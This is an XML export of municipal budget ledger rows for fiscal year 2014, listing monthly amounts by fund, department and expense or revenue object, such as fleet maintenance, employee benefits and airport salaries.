<row _id="11451"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>44322.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44322.0</total></row>
<row _id="11452"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20122.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20122.0</total></row>
<row _id="11453"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103918.88</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103918.88</total></row>
<row _id="11454"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-16014.0</july><august>0</august><september>0</september><october>0</october><november>1537</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14477.0</total></row>
<row _id="11455"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-8819.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8819.0</total></row>
<row _id="11456"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4239.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4239.0</total></row>
<row _id="11457"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-14066.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14066.0</total></row>
<row _id="11458"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-27950.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-27950.0</total></row>
<row _id="11459"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5044.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5044.0</total></row>
<row _id="11460"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-13139.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13139.0</total></row>
<row _id="11461"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3049.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3049.0</total></row>
<row _id="11462"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-7488.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7488.0</total></row>
<row _id="11463"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3207.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3207.0</total></row>
<row _id="11464"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5521.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5521.0</total></row>
<row _id="11465"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-26456.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-26456.0</total></row>
<row _id="11466"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409003.0</object><object_description>CHILDCARE-NOVEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-35467.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>35467</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11467"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409041.0</object><object_description>ELEM SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-54358.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>54358</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11468"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556150.0</object><object_description>SOLD NAME PLATES/BENCHES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="11469"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556180.0</object><object_description>EMBALMING SUPPLIES/EQUIPMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="11470"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>807.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>807.0</total></row>
<row _id="11471"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>61232.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61232.0</total></row>
<row _id="11472"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>396.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>396.0</total></row>
<row _id="11473"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25700.0</total></row>
<row _id="11474"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>247313.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>3663</december><january>-13.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>250963.0</total></row>
<row _id="11475"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3880.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>51</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3931.0</total></row>
<row _id="11476"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7356.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7356.0</total></row>
<row _id="11477"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>547.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>547.0</total></row>
<row _id="11478"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNREALIZED GAIN / LOSS</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>71486.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>71486.0</total></row>
<row _id="11479"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>401801.0</object><object_description>PROCEEDS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-70505.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-70505.0</total></row>
<row _id="11480"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402670.0</object><object_description>FUTURE REPLACEMENT-CNG FACILIT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="11481"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402690.0</object><object_description>CNG FUEL-DEPT USAGE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-245000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-245000.0</total></row>
<row _id="11482"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>394855.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>5949</december><january>1326.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>402130.0</total></row>
<row _id="11483"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3948.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3948.0</total></row>
<row _id="11484"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15765.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>238</december><january>52.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16055.0</total></row>
<row _id="11485"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522920.0</object><object_description>COMMERCIAL VEHICLE REPAIRS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>297106.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>297106.0</total></row>
<row _id="11486"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>205000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>205000.0</total></row>
<row _id="11487"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>14018.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14018.0</total></row>
<row _id="11488"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19475.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>859</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20334.0</total></row>
<row _id="11489"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>12</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10262.0</total></row>
<row _id="11490"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>591353.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>591353.0</total></row>
<row _id="11491"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7982.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7982.0</total></row>
<row _id="11492"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8038.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8038.0</total></row>
<row _id="11493"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>680168.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>15747</december><january>-11.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>695904.0</total></row>
<row _id="11494"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>11.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11.0</total></row>
<row _id="11495"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>75813.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75813.0</total></row>
<row _id="11496"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="11497"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
